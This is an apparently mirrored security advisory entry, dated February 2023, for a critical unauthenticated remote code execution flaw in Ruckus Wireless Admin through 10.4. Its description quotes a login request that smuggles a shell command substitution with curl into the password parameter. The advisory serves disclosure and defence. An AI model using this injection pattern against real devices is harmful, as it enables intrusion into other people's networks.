Ruckus Wireless Admin through 10.4 allows Remote Code...
Critical severity
Unreviewed
Published
Feb 13, 2023
to the GitHub Advisory Database
•
Updated Mar 3, 2023
Description
Published by the National Vulnerability Database
Feb 13, 2023
Published to the GitHub Advisory Database
Feb 13, 2023
Last updated
Mar 3, 2023
Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.
References